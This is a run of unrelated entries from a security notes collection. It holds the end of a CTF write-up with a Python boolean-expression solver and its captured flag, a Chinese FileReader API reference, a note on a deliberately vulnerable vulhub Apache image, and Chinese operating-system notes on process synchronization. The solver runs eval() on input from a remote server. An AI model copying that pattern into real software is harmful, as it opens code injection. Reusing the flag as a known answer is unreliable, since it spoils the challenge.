B*C*~D*E*~F*G*H*~I)+(~A*~B*C*~D*E*~F*G*H*I)+(~A*~B*C*~D*E*F*~G*~H*~I)+(~A*~B*C*~D*E*F*~G*~H*I)+(~A*~B*C*~D*E*F*G*~H*~I)+(~A*~B*C*~D*E*F*G*~H*I)+(~A*~B*C*D*~E*~F*~G*~H*~I)+(~A*~B*C*D*~E*~F*~G*~H*I)+(~A*~B*C*D*~E*~F*~G*H*~I)+(~A*~B*C*D*~E*~F*~G*H*I)+(~A*~B*C*D*~E*~F*G*~H*~I)+(~A*~B*C*D*~E*~F*G*~H*I)+(~A*~B*C*D*~E*~F*G*H*~I)+(~A*~B*C*D*~E*~F*G*H*I)+(~A*~B*C*D*~E*F*~G*~H*~I)+(~A*~B*C*D*~E*F*~G*~H*I)+(~A*~B*C*D*~E*F*G*~H*~I)+(~A*~B*C*D*~E*F*G*~H*I)+(~A*~B*C*D*E*~F*~G*~H*~I)+(~A*~B*C*D*E*~F*~G*~H*I)+(~A*~B*C*D*E*~F*~G*H*~I)+(~A*~B*C*D*E*~F*~G*H*I)+(~A*~B*C*D*E*~F*G*~H*~I)+(~A*~B*C*D*E*~F*G*~H*I)+(~A*~B*C*D*E*~F*G*H*~I)+(~A*~B*C*D*E*~F*G*H*I)+(~A*~B*C*D*E*F*~G*~H*~I)+(~A*~B*C*D*E*F*~G*~H*I)+(~A*~B*C*D*E*F*G*~H*~I)+(~A*~B*C*D*E*F*G*~H*I)+(~A*B*~C*~D*~E*~F*~G*~H*~I)+(~A*B*~C*~D*~E*~F*~G*~H*I)+(~A*B*~C*~D*~E*~F*G*~H*~I)+(~A*B*~C*~D*~E*~F*G*~H*I)+(~A*B*~C*~D*~E*F*~G*~H*~I)+(~A*B*~C*~D*~E*F*~G*~H*I)+(~A*B*~C*~D*~E*F*G*~H*~I)+(~A*B*~C*~D*~E*F*G*~H*I)+(~A*B*~C*~D*E*~F*~G*~H*~I)+(~A*B*~C*~D*E*~F*~G*~H*I)+(~A*B*~C*~D*E*~F*G*~H*~I)+(~A*B*~C*~D*E*~F*G*~H*I)+(~A*B*~C*~D*E*F*~G*~H*~I)+(~A*B*~C*~D*E*F*~G*~H*I)+(~A*B*~C*~D*E*F*G*~H*~I)+(~A*B*~C*~D*E*F*G*~H*I)+(~A*B*~C*D*~E*~F*~G*~H*~I)+(~A*B*~C*D*~E*~F*~G*~H*I)+(~A*B*~C*D*~E*~F*G*~H*~I)+(~A*B*~C*D*~E*~F*G*~H*I)+(~A*B*~C*D*~E*F*~G*~H*~I)+(~A*B*~C*D*~E*F*~G*~H*I)+(~A*B*~C*D*~E*F*G*~H*~I)+(~A*B*~C*D*~E*F*G*~H*I)+(~A*B*~C*D*E*~F*~G*~H*~I)+(~A*B*~C*D*E*~F*~G*~H*I)+(~A*B*~C*D*E*~F*G*~H*~I)+(~A*B*~C*D*E*~F*G*~H*I)+(~A*B*~C*D*E*F*~G*~H*~I)+(~A*B*~C*D*E*F*~G*~H*I)+(~A*B*~C*D*E*F*G*~H*~I)+(~A*B*~C*D*E*F*G*~H*I)+(~A*B*C*~D*~E*~F*~G*~H*~I)+(~A*B*C*~D*~E*~F*~G*~H*I)+(~A*B*C*~D*~E*~F*G*~H*~I)+(~A*B*C*~D*~E*~F*G*~H*I)+(~A*B*C*~D*~E*F*~G*~H*~I)+(~A*B*C*~D*~E*F*~G*~H*I)+(~A*B*C*~D*~E*F*G*~H*~I)+(~A*B*C*~D*~E*F*G*~H*I)+(~A*B*C*~D*E*~F*~G*~H*~I)+(~A*B*C*~D*E*~F*~G*~H*I)+(~A*B*C*~D*E*~F*G*~H*~I)+(~A*B*C*~D*E*~F*G*~H*I)+(~A*B*C*~D*E*F*~G*~H*~I)+(~A*B*C*~D*E*F*~G*~H*I)+(~A*B*C*~D*E*F*G*~H*~I)+(~A*B*C*~D*E*F*G*~H*I)+(~A*B*C*D*~E*~F*~G*~H*~I)+(~A*B*C*D*~E*~F*~G*~H*I)+(~A*B*C*D*~E*~F*G*~H*~I)+(~A*B*C*D*~E*~F*G*~H*I)+(~A*B*C*D*~E*F*~G*~H*~I)+(~A*B*C*D*~E*F*~G*~H*I)+(~A*B*C*D*~E*F*G*~H*~I)+(~A*B*C*D*~E*F*G*~H*I)+(~A*B*C*D*E*~F*~G*~H*~I)+(~A*B*C*D*E*~F*~G*~H*I)+(~A*B*C*D*E*~F*G*~H*~I)+(~A*B*C*D*E*~F*G*~H*I)+(~A*B*C*D*E*F*~G*~H*~I)+(~A*B*C*D*E*F*~G*~H*I)+(~A*B*C*D*E*F*G*~H*~I)+(~A*B*C*D*E*F*G*~H*I)+(A*~B*~C*~D*~E*~F*~G*~H*~I)+(A*~B*~C*~D*~E*~F*~G*~H*I)+(A*~B*~C*~D*~E*~F*~G*H*~I)+(A*~B*~C*~D*~E*~F*~G*H*I)+(A*~B*~C*~D*~E*~F*G*~H*~I)+(A*~B*~C*~D*~E*~F*G*~H*I)+(A*~B*~C*~D*~E*~F*G*H*~I)+(A*~B*~C*~D*~E*~F*G*H*I)+(A*~B*~C*~D*~E*F*~G*~H*~I)+(A*~B*~C*~D*~E*F*~G*~H*I)+(A*~B*~C*~D*~E*F*G*~H*~I)+(A*~B*~C*~D*~E*F*G*~H*I)+(A*~B*~C*D*~E*~F*~G*~H*~I)+(A*~B*~C*D*~E*~F*~G*~H*I)+(A*~B*~C*D*~E*~F*~G*H*~I)+(A*~B*~C*D*~E*~F*~G*H*I)+(A*~B*~C*D*~E*~F*G*~H*~I)+(A*~B*~C*D*~E*~F*G*~H*I)+(A*~B*~C*D*~E*~F*G*H*~I)+(A*~B*~C*D*~E*~F*G*H*I)+(A*~B*~C*D*~E*F*~G*~H*~I)+(A*~B*~C*D*~E*F*~G*~H*I)+(A*~B*~C*D*~E*F*G*~H*~I)+(A*~B*~C*D*~E*F*G*~H*I)+(A*~B*~C*D*E*~F*~G*~H*~I)+(A*~B*~C*D*E*~F*~G*~H*I)+(A*~B*~C*D*E*~F*~G*H*~I)+(A*~B*~C*D*E*~F*~G*H*I)+(A*~B*~C*D*E*~F*G*~H*~I)+(A*~B*~C*D*E*~F*G*~H*I)+(A*~B*~C*D*E*~F*G*H*~I)+(A*~B*~C*D*E*~F*G*H*I)+(A*~B*~C*D*E*F*~G*~H*~I)+(A*~B*~C*D*E*F*~G*~H*I)+(A*~B*~C*D*E*F*G*~H*~I)+(A*~B*~C*D*E*F*G*~H*I)+(A*~B*C*~D*~E*~F*~G*~H*~I)+(A*~B*C*~D*~E*~F*~G*~H*I)+(A*~B*C*~D*~E*~F*~G*H*~I)+(A*~B*C*~D*~E*~F*~G*H*I)+(A*~B*C*~D*~E*~F*G*~H*~I)+(A*~B*C*~D*~E*~F*G*~H*I)+(A*~B*C*~D*~E*~F*G*H*~I)+(A*~B*C*~D*~E*~F*G*H*I)+(A*~B*C*~D*~E*F*~G*~H*~I)+(A*~B*C*~D*~E*F*~G*~H*I)+(A*~B*C*~D*~E*F*G*~H*~I)+(A*~B*C*~D*~E*F*G*~H*I)+(A*~B*C*D*~E*~F*~G*~H*~I)+(A*~B*C*D*~E*~F*~G*~H*I)+(A*~B*C*D*~E*~F*~G*H*~I)+(A*~B*C*D*~E*~F*~G*H*I)+(A*~B*C*D*~E*~F*G*~H*~I)+(A*~B*C*D*~E*~F*G*~H*I)+(A*~B*C*D*~E*~F*G*H*~I)+(A*~B*C*D*~E*~F*G*H*I)+(A*~B*C*D*~E*F*~G*~H*~I)+(A*~B*C*D*~E*F*~G*~H*I)+(A*~B*C*D*~E*F*G*~H*~I)+(A*~B*C*D*~E*F*G*~H*I)+(A*~B*C*D*~E*F*G*H*I)+(A*~B*C*D*E*~F*~G*~H*~I)+(A*~B*C*D*E*~F*~G*~H*I)+(A*~B*C*D*E*~F*~G*H*~I)+(A*~B*C*D*E*~F*~G*H*I)+(A*~B*C*D*E*~F*G*~H*~I)+(A*~B*C*D*E*~F*G*~H*I)+(A*~B*C*D*E*~F*G*H*~I)+(A*~B*C*D*E*~F*G*H*I)+(A*~B*C*D*E*F*~G*~H*~I)+(A*~B*C*D*E*F*~G*~H*I)+(A*~B*C*D*E*F*G*~H*~I)+(A*~B*C*D*E*F*G*~H*I)+(A*B*~C*~D*~E*~F*~G*~H*~I)+(A*B*~C*~D*~E*~F*~G*~H*I)+(A*B*~C*~D*~E*~F*G*~H*~I)+(A*B*~C*~D*~E*~F*G*~H*I)+(A*B*~C*~D*~E*F*~G*~H*~I)+(A*B*~C*~D*~E*F*~G*~H*I)+(A*B*~C*~D*~E*F*G*~H*~I)+(A*B*~C*~D*~E*F*G*~H*I)+(A*B*~C*D*~E*~F*~G*~H*~I)+(A*B*~C*D*~E*~F*~G*~H*I)+(A*B*~C*D*~E*~F*G*~H*~I)+(A*B*~C*D*~E*~F*G*~H*I)+(A*B*~C*D*~E*F*~G*~H*~I)+(A*B*~C*D*~E*F*~G*~H*I)+(A*B*~C*D*~E*F*G*~H*~I)+(A*B*~C*D*~E*F*G*~H*I)+(A*B*~C*D*E*~F*~G*~H*~I)+(A*B*~C*D*E*~F*~G*~H*I)+(A*B*~C*D*E*~F*G*~H*~I)+(A*B*~C*D*E*~F*G*~H*I)+(A*B*~C*D*E*F*~G*~H*~I)+(A*B*~C*D*E*F*~G*~H*I)+(A*B*~C*D*E*F*G*~H*~I)+(A*B*~C*D*E*F*G*~H*I)+(A*B*C*~D*~E*~F*~G*~H*~I)+(A*B*C*~D*~E*~F*~G*~H*I)+(A*B*C*~D*~E*~F*G*~H*~I)+(A*B*C*~D*~E*~F*G*~H*I)+(A*B*C*~D*~E*F*~G*~H*~I)+(A*B*C*~D*~E*F*~G*~H*I)+(A*B*C*~D*~E*F*G*~H*~I)+(A*B*C*~D*~E*F*G*~H*I)+(A*B*C*D*~E*~F*~G*~H*~I)+(A*B*C*D*~E*~F*~G*~H*I)+(A*B*C*D*~E*~F*G*~H*~I)+(A*B*C*D*~E*~F*G*~H*I)+(A*B*C*D*~E*F*~G*~H*~I)+(A*B*C*D*~E*F*~G*~H*I)+(A*B*C*D*~E*F*G*~H*~I)+(A*B*C*D*~E*F*G*~H*I)+(A*B*C*D*E*~F*~G*~H*~I)+(A*B*C*D*E*~F*~G*~H*I)+(A*B*C*D*E*~F*G*~H*~I)+(A*B*C*D*E*~F*G*~H*I)+(A*B*C*D*E*F*~G*~H*~I)+(A*B*C*D*E*F*~G*~H*I)+(A*B*C*D*E*F*G*~H*~I)+(A*B*C*D*E*F*G*~H*I))
```
The longest and hardest examples have nine variables from A to I. The idea behind the solver is quite simple. We test each possible value (`True` or `False`) for every variable which is present in given expressions and check if they are equal.
```{python}
def solver(str1,str2):
finalstr = str1 + '==' + str2
result = True
tab = [[0,1] if x in finalstr else [0] for x in ['A','B','C','D','E','F','G','H','I']]
for A in tab[0]:
for B in tab[1]:
for C in tab[2]:
for D in tab[3]:
for E in tab[4]:
for F in tab[5]:
for G in tab[6]:
for H in tab[7]:
for I in tab[8]:
result &= eval(finalstr.replace('*','&').replace('+','|').replace('A', str(A)).replace('B',str(B)).replace('C',str(C)).replace('D',str(D)).replace('E', str(E)).replace('F', str(F)).replace('G',str(G)).replace('H',str(H)).replace('I',str(I)))
if result is False:
return result
return result
```
One important security-related comment is needed here. Personally I do not like to use `eval` when an input is unknown. This is why I require manual confirmation before each evaluation:
```{python}
print str1
print str2
junk = raw_input('ok? ')
if solver(str1,str2):
s.sendall("YES\n")
else:
s.sendall("NO\n")
```
Fortunately this time nothing suspicious was found, except the flag. ;-)
```
WhiteHat{BO0l3_1s_s1MpL3_f0R_Pr0gR4mM3R}
```
|
sec-knowleage
|
# FileReader
FileReader 用来把文件读入内存,并且读取文件中的数据。FileReader对象 提供了一个异步API,使用该 API 可以在浏览器主线程中异步访问文件系统,读取文件中的数据
其中 File对象 可以是来自用户在一个`<input>`元素上选择文件后返回的 FileList对象,也可以来自拖放操作生成的 DataTransfer对象,还可以是来自在一个 HTMLCanvasElement 上执行 mozGetAsFile() 方法后返回结果。
### 构造函数
声明并返回一个新构造的 FileReader对象
```
let reader = new FileReader()
```
### 属性
属性名 | 类型 | 描述
------------- | -------------- | ------------------------------------------------------
error | DOMError | 在读取文件时发生的错误. 只读.
readyState | unsigned short | 表明FileReader对象的当前状态. 值为State constants中的一个. 只读
result | jsval | 读取到的文件内容.这个属性只在读取操作完成之后才有效,并且数据的格式取决于读取操作是由哪个方法发起的. 只读.
### 方法
FileReader接口的方法
方法名 | 参数 | 描述
------------------- | ------------------- | -----------------------------
abort | (none) | 终止读取操作
readAsBinaryString | file | 将文件读取为二进制编码
readAsText | file,[encoding] | 将文件读取为文本
readAsDataURL | file | 将文件读取为DataURL
FileReader接口有4个方法,其中3个用来读取文件,另一个用来中断读取。无论读取成功或失败,方法并不会返回读取结果,这一结果存储在result属性中。
### 事件
FileReader 接口包含了一套完整的事件模型,用于捕获读取文件时的状态
事件 | 描述
------------- | --------------------------------------------------------------------
onabort | 当读取操作被中止时调用
onerror | 当读取操作发生错误时调用
onloadstart | 当读取操作将要开始之前调用
onprogress | 在读取数据过程中周期性调用
onload | 当读取操作成功完成时调用
onloadend | 当读取操作完成时调用,不管是成功还是失败.该处理程序在onload或者onerror之后调用
### 使用
一般通过 DOM节点 拿到文件读取的结果
```
// 一个文件上传的回调 <input type="file" onchange="onChange(event)">
function onChange(event) {
var file = event.target.files[0];
var reader = new FileReader();
reader.onload = function(event) {
// 文件里的文本会在这里被打印出来
console.log(event.target.result)
};
reader.readAsDataURL(file);
}
```
|
sec-knowleage
|
# [deprecated] 绝版apache+php
允许HTTP HOST里插入恶意字符的Apache,已绝版,用该Dockerfile生成的新的Apache没有该特效,该Dockerfile只是演示当初这个镜像是怎么生成的。
镜像地址:vulhub/httpd:bad-http
|
sec-knowleage
|
# 计算机操作系统 - 进程管理
<!-- GFM-TOC -->
* [计算机操作系统 - 进程管理](#计算机操作系统---进程管理)
* [进程与线程](#进程与线程)
* [1. 进程](#1-进程)
* [2. 线程](#2-线程)
* [3. 区别](#3-区别)
* [进程状态的切换](#进程状态的切换)
* [进程调度算法](#进程调度算法)
* [1. 批处理系统](#1-批处理系统)
* [2. 交互式系统](#2-交互式系统)
* [3. 实时系统](#3-实时系统)
* [进程同步](#进程同步)
* [1. 临界区](#1-临界区)
* [2. 同步与互斥](#2-同步与互斥)
* [3. 信号量](#3-信号量)
* [4. 管程](#4-管程)
* [经典同步问题](#经典同步问题)
* [1. 哲学家进餐问题](#1-哲学家进餐问题)
* [2. 读者-写者问题](#2-读者-写者问题)
* [进程通信](#进程通信)
* [1. 管道](#1-管道)
* [2. FIFO](#2-fifo)
* [3. 消息队列](#3-消息队列)
* [4. 信号量](#4-信号量)
* [5. 共享存储](#5-共享存储)
* [6. 套接字](#6-套接字)
<!-- GFM-TOC -->
## 进程与线程
### 1. 进程
进程是资源分配的基本单位。
进程控制块 (Process Control Block, PCB) 描述进程的基本信息和运行状态,所谓的创建进程和撤销进程,都是指对 PCB 的操作。
下图显示了 4 个程序创建了 4 个进程,这 4 个进程可以并发地执行。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a6ac2b08-3861-4e85-baa8-382287bfee9f.png"/> </div><br>
### 2. 线程
线程是独立调度的基本单位。
一个进程中可以有多个线程,它们共享进程资源。
QQ 和浏览器是两个进程,浏览器进程里面有很多线程,例如 HTTP 请求线程、事件响应线程、渲染线程等等,线程的并发执行使得在浏览器中点击一个新链接从而发起 HTTP 请求时,浏览器还可以响应用户的其它事件。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/3cd630ea-017c-488d-ad1d-732b4efeddf5.png"/> </div><br>
### 3. 区别
Ⅰ 拥有资源
进程是资源分配的基本单位,但是线程不拥有资源,线程可以访问隶属进程的资源。
Ⅱ 调度
线程是独立调度的基本单位,在同一进程中,线程的切换不会引起进程切换,从一个进程中的线程切换到另一个进程中的线程时,会引起进程切换。
Ⅲ 系统开销
由于创建或撤销进程时,系统都要为之分配或回收资源,如内存空间、I/O 设备等,所付出的开销远大于创建或撤销线程时的开销。类似地,在进行进程切换时,涉及当前执行进程 CPU 环境的保存及新调度进程 CPU 环境的设置,而线程切换时只需保存和设置少量寄存器内容,开销很小。
Ⅳ 通信方面
线程间可以通过直接读写同一进程中的数据进行通信,但是进程通信需要借助 IPC。
## 进程状态的切换
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ProcessState.png" width="500"/> </div><br>
- 就绪状态(ready):等待被调度
- 运行状态(running)
- 阻塞状态(waiting):等待资源
应该注意以下内容:
- 只有就绪态和运行态可以相互转换,其它的都是单向转换。就绪状态的进程通过调度算法从而获得 CPU 时间,转为运行状态;而运行状态的进程,在分配给它的 CPU 时间片用完之后就会转为就绪状态,等待下一次调度。
- 阻塞状态是缺少需要的资源从而由运行状态转换而来,但是该资源不包括 CPU 时间,缺少 CPU 时间会从运行态转换为就绪态。
## 进程调度算法
不同环境的调度算法目标不同,因此需要针对不同环境来讨论调度算法。
### 1. 批处理系统
批处理系统没有太多的用户操作,在该系统中,调度算法目标是保证吞吐量和周转时间(从提交到终止的时间)。
**1.1 先来先服务 first-come first-serverd(FCFS)**
非抢占式的调度算法,按照请求的顺序进行调度。
有利于长作业,但不利于短作业,因为短作业必须一直等待前面的长作业执行完毕才能执行,而长作业又需要执行很长时间,造成了短作业等待时间过长。
**1.2 短作业优先 shortest job first(SJF)**
非抢占式的调度算法,按估计运行时间最短的顺序进行调度。
长作业有可能会饿死,处于一直等待短作业执行完毕的状态。因为如果一直有短作业到来,那么长作业永远得不到调度。
**1.3 最短剩余时间优先 shortest remaining time next(SRTN)**
最短作业优先的抢占式版本,按剩余运行时间的顺序进行调度。 当一个新的作业到达时,其整个运行时间与当前进程的剩余时间作比较。如果新的进程需要的时间更少,则挂起当前进程,运行新的进程。否则新的进程等待。
### 2. 交互式系统
交互式系统有大量的用户交互操作,在该系统中调度算法的目标是快速地进行响应。
**2.1 时间片轮转**
将所有就绪进程按 FCFS 的原则排成一个队列,每次调度时,把 CPU 时间分配给队首进程,该进程可以执行一个时间片。当时间片用完时,由计时器发出时钟中断,调度程序便停止该进程的执行,并将它送往就绪队列的末尾,同时继续把 CPU 时间分配给队首的进程。
时间片轮转算法的效率和时间片的大小有很大关系:
- 因为进程切换都要保存进程的信息并且载入新进程的信息,如果时间片太小,会导致进程切换得太频繁,在进程切换上就会花过多时间。
- 而如果时间片过长,那么实时性就不能得到保证。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/8c662999-c16c-481c-9f40-1fdba5bc9167.png"/> </div><br>
**2.2 优先级调度**
为每个进程分配一个优先级,按优先级进行调度。
为了防止低优先级的进程永远等不到调度,可以随着时间的推移增加等待进程的优先级。
**2.3 多级反馈队列**
一个进程需要执行 100 个时间片,如果采用时间片轮转调度算法,那么需要交换 100 次。
多级队列是为这种需要连续执行多个时间片的进程考虑,它设置了多个队列,每个队列时间片大小都不同,例如 1,2,4,8,..。进程在第一个队列没执行完,就会被移到下一个队列。这种方式下,之前的进程只需要交换 7 次。
每个队列优先权也不同,最上面的优先权最高。因此只有上一个队列没有进程在排队,才能调度当前队列上的进程。
可以将这种调度算法看成是时间片轮转调度算法和优先级调度算法的结合。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/042cf928-3c8e-4815-ae9c-f2780202c68f.png"/> </div><br>
### 3. 实时系统
实时系统要求一个请求在一个确定时间内得到响应。
分为硬实时和软实时,前者必须满足绝对的截止时间,后者可以容忍一定的超时。
## 进程同步
### 1. 临界区
对临界资源进行访问的那段代码称为临界区。
为了互斥访问临界资源,每个进程在进入临界区之前,需要先进行检查。
```html
// entry section
// critical section;
// exit section
```
### 2. 同步与互斥
- 同步:多个进程因为合作产生的直接制约关系,使得进程有一定的先后执行关系。
- 互斥:多个进程在同一时刻只有一个进程能进入临界区。
### 3. 信号量
信号量(Semaphore)是一个整型变量,可以对其执行 down 和 up 操作,也就是常见的 P 和 V 操作。
- **down** : 如果信号量大于 0 ,执行 -1 操作;如果信号量等于 0,进程睡眠,等待信号量大于 0;
- **up** :对信号量执行 +1 操作,唤醒睡眠的进程让其完成 down 操作。
down 和 up 操作需要被设计成原语,不可分割,通常的做法是在执行这些操作的时候屏蔽中断。
如果信号量的取值只能为 0 或者 1,那么就成为了 **互斥量(Mutex)** ,0 表示临界区已经加锁,1 表示临界区解锁。
```c
typedef int semaphore;
semaphore mutex = 1;
void P1() {
down(&mutex);
// 临界区
up(&mutex);
}
void P2() {
down(&mutex);
// 临界区
up(&mutex);
}
```
\<font size=3\> **使用信号量实现生产者-消费者问题** \</font\> \</br\>
问题描述:使用一个缓冲区来保存物品,只有缓冲区没有满,生产者才可以放入物品;只有缓冲区不为空,消费者才可以拿走物品。
因为缓冲区属于临界资源,因此需要使用一个互斥量 mutex 来控制对缓冲区的互斥访问。
为了同步生产者和消费者的行为,需要记录缓冲区中物品的数量。数量可以使用信号量来进行统计,这里需要使用两个信号量:empty 记录空缓冲区的数量,full 记录满缓冲区的数量。其中,empty 信号量是在生产者进程中使用,当 empty 不为 0 时,生产者才可以放入物品;full 信号量是在消费者进程中使用,当 full 信号量不为 0 时,消费者才可以取走物品。
注意,不能先对缓冲区进行加锁,再测试信号量。也就是说,不能先执行 down(mutex) 再执行 down(empty)。如果这么做了,那么可能会出现这种情况:生产者对缓冲区加锁后,执行 down(empty) 操作,发现 empty = 0,此时生产者睡眠。消费者不能进入临界区,因为生产者对缓冲区加锁了,消费者就无法执行 up(empty) 操作,empty 永远都为 0,导致生产者永远等待下,不会释放锁,消费者因此也会永远等待下去。
```c
#define N 100
typedef int semaphore;
semaphore mutex = 1;
semaphore empty = N;
semaphore full = 0;
void producer() {
while(TRUE) {
int item = produce_item();
down(&empty);
down(&mutex);
insert_item(item);
up(&mutex);
up(&full);
}
}
void consumer() {
while(TRUE) {
down(&full);
down(&mutex);
int item = remove_item();
consume_item(item);
up(&mutex);
up(&empty);
}
}
```
### 4. 管程
使用信号量机制实现的生产者消费者问题需要客户端代码做很多控制,而管程把控制的代码独立出来,不仅不容易出错,也使得客户端代码调用更容易。
c 语言不支持管程,下面的示例代码使用了类 Pascal 语言来描述管程。示例代码的管程提供了 insert() 和 remove() 方法,客户端代码通过调用这两个方法来解决生产者-消费者问题。
```pascal
monitor ProducerConsumer
integer i;
condition c;
procedure insert();
begin
// ...
end;
procedure remove();
begin
// ...
end;
end monitor;
```
管程有一个重要特性:在一个时刻只能有一个进程使用管程。进程在无法继续执行的时候不能一直占用管程,否则其它进程永远不能使用管程。
管程引入了 **条件变量** 以及相关的操作:**wait()** 和 **signal()** 来实现同步操作。对条件变量执行 wait() 操作会导致调用进程阻塞,把管程让出来给另一个进程持有。signal() 操作用于唤醒被阻塞的进程。
<font size=3> **使用管程实现生产者-消费者问题** </font><br>
```pascal
// 管程
monitor ProducerConsumer
condition full, empty;
integer count := 0;
condition c;
procedure insert(item: integer);
begin
if count = N then wait(full);
insert_item(item);
count := count + 1;
if count = 1 then signal(empty);
end;
function remove: integer;
begin
if count = 0 then wait(empty);
remove = remove_item;
count := count - 1;
if count = N -1 then signal(full);
end;
end monitor;
// 生产者客户端
procedure producer
begin
while true do
begin
item = produce_item;
ProducerConsumer.insert(item);
end
end;
// 消费者客户端
procedure consumer
begin
while true do
begin
item = ProducerConsumer.remove;
consume_item(item);
end
end;
```
## 经典同步问题
生产者和消费者问题前面已经讨论过了。
### 1. 哲学家进餐问题
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a9077f06-7584-4f2b-8c20-3a8e46928820.jpg"/> </div><br>
五个哲学家围着一张圆桌,每个哲学家面前放着食物。哲学家的生活有两种交替活动:吃饭以及思考。当一个哲学家吃饭时,需要先拿起自己左右两边的两根筷子,并且一次只能拿起一根筷子。
下面是一种错误的解法,如果所有哲学家同时拿起左手边的筷子,那么所有哲学家都在等待其它哲学家吃完并释放自己手中的筷子,导致死锁。
```c
#define N 5
void philosopher(int i) {
while(TRUE) {
think();
take(i); // 拿起左边的筷子
take((i+1)%N); // 拿起右边的筷子
eat();
put(i);
put((i+1)%N);
}
}
```
为了防止死锁的发生,可以设置两个条件:
- 必须同时拿起左右两根筷子;
- 只有在两个邻居都没有进餐的情况下才允许进餐。
```c
#define N 5
#define LEFT (i + N - 1) % N // 左邻居
#define RIGHT (i + 1) % N // 右邻居
#define THINKING 0
#define HUNGRY 1
#define EATING 2
typedef int semaphore;
int state[N]; // 跟踪每个哲学家的状态
semaphore mutex = 1; // 临界区的互斥,临界区是 state 数组,对其修改需要互斥
semaphore s[N]; // 每个哲学家一个信号量
void philosopher(int i) {
while(TRUE) {
think(i);
take_two(i);
eat(i);
put_two(i);
}
}
void take_two(int i) {
down(&mutex);
state[i] = HUNGRY;
check(i);
up(&mutex);
down(&s[i]); // 只有收到通知之后才可以开始吃,否则会一直等下去
}
void put_two(i) {
down(&mutex);
state[i] = THINKING;
check(LEFT); // 尝试通知左右邻居,自己吃完了,你们可以开始吃了
check(RIGHT);
up(&mutex);
}
void eat(int i) {
down(&mutex);
state[i] = EATING;
up(&mutex);
}
// 检查两个邻居是否都没有用餐,如果是的话,就 up(&s[i]),使得 down(&s[i]) 能够得到通知并继续执行
void check(i) {
if(state[i] == HUNGRY && state[LEFT] != EATING && state[RIGHT] !=EATING) {
state[i] = EATING;
up(&s[i]);
}
}
```
### 2. 读者-写者问题
允许多个进程同时对数据进行读操作,但是不允许读和写以及写和写操作同时发生。
一个整型变量 count 记录在对数据进行读操作的进程数量,一个互斥量 count_mutex 用于对 count 加锁,一个互斥量 data_mutex 用于对读写的数据加锁。
```c
typedef int semaphore;
semaphore count_mutex = 1;
semaphore data_mutex = 1;
int count = 0;
void reader() {
while(TRUE) {
down(&count_mutex);
count++;
if(count == 1) down(&data_mutex); // 第一个读者需要对数据进行加锁,防止写进程访问
up(&count_mutex);
read();
down(&count_mutex);
count--;
if(count == 0) up(&data_mutex);
up(&count_mutex);
}
}
void writer() {
while(TRUE) {
down(&data_mutex);
write();
up(&data_mutex);
}
}
```
以下内容由 [@Bandi Yugandhar](https://github.com/yugandharbandi) 提供。
The first case may result Writer to starve. This case favous Writers i.e no writer, once added to the queue, shall be kept waiting longer than absolutely necessary(only when there are readers that entered the queue before the writer).
```c
int readcount, writecount; //(initial value = 0)
semaphore rmutex, wmutex, readLock, resource; //(initial value = 1)
//READER
void reader() {
<ENTRY Section>
down(&readLock); // reader is trying to enter
down(&rmutex); // lock to increase readcount
readcount++;
if (readcount == 1)
down(&resource); //if you are the first reader then lock the resource
up(&rmutex); //release for other readers
up(&readLock); //Done with trying to access the resource
<CRITICAL Section>
//reading is performed
<EXIT Section>
down(&rmutex); //reserve exit section - avoids race condition with readers
readcount--; //indicate you're leaving
if (readcount == 0) //checks if you are last reader leaving
up(&resource); //if last, you must release the locked resource
up(&rmutex); //release exit section for other readers
}
//WRITER
void writer() {
<ENTRY Section>
down(&wmutex); //reserve entry section for writers - avoids race conditions
writecount++; //report yourself as a writer entering
if (writecount == 1) //checks if you're first writer
down(&readLock); //if you're first, then you must lock the readers out. Prevent them from trying to enter CS
up(&wmutex); //release entry section
<CRITICAL Section>
down(&resource); //reserve the resource for yourself - prevents other writers from simultaneously editing the shared resource
//writing is performed
up(&resource); //release file
<EXIT Section>
down(&wmutex); //reserve exit section
writecount--; //indicate you're leaving
if (writecount == 0) //checks if you're the last writer
up(&readLock); //if you're last writer, you must unlock the readers. Allows them to try enter CS for reading
up(&wmutex); //release exit section
}
```
We can observe that every reader is forced to acquire ReadLock. On the otherhand, writers doesn’t need to lock individually. Once the first writer locks the ReadLock, it will be released only when there is no writer left in the queue.
From the both cases we observed that either reader or writer has to starve. Below solutionadds the constraint that no thread shall be allowed to starve; that is, the operation of obtaining a lock on the shared data will always terminate in a bounded amount of time.
```source-c
int readCount; // init to 0; number of readers currently accessing resource
// all semaphores initialised to 1
Semaphore resourceAccess; // controls access (read/write) to the resource
Semaphore readCountAccess; // for syncing changes to shared variable readCount
Semaphore serviceQueue; // FAIRNESS: preserves ordering of requests (signaling must be FIFO)
void writer()
{
down(&serviceQueue); // wait in line to be servicexs
// <ENTER>
down(&resourceAccess); // request exclusive access to resource
// </ENTER>
up(&serviceQueue); // let next in line be serviced
// <WRITE>
writeResource(); // writing is performed
// </WRITE>
// <EXIT>
up(&resourceAccess); // release resource access for next reader/writer
// </EXIT>
}
void reader()
{
down(&serviceQueue); // wait in line to be serviced
down(&readCountAccess); // request exclusive access to readCount
// <ENTER>
if (readCount == 0) // if there are no readers already reading:
down(&resourceAccess); // request resource access for readers (writers blocked)
readCount++; // update count of active readers
// </ENTER>
up(&serviceQueue); // let next in line be serviced
up(&readCountAccess); // release access to readCount
// <READ>
readResource(); // reading is performed
// </READ>
down(&readCountAccess); // request exclusive access to readCount
// <EXIT>
readCount--; // update count of active readers
if (readCount == 0) // if there are no readers left:
up(&resourceAccess); // release resource access for all
// </EXIT>
up(&readCountAccess); // release access to readCount
}
```
## 进程通信
进程同步与进程通信很容易混淆,它们的区别在于:
- 进程同步:控制多个进程按一定顺序执行;
- 进程通信:进程间传输信息。
进程通信是一种手段,而进程同步是一种目的。也可以说,为了能够达到进程同步的目的,需要让进程进行通信,传输一些进程同步所需要的信息。
### 1. 管道
管道是通过调用 pipe 函数创建的,fd[0] 用于读,fd[1] 用于写。
```c
#include <unistd.h>
int pipe(int fd[2]);
```
它具有以下限制:
- 只支持半双工通信(单向交替传输);
- 只能在父子进程或者兄弟进程中使用。
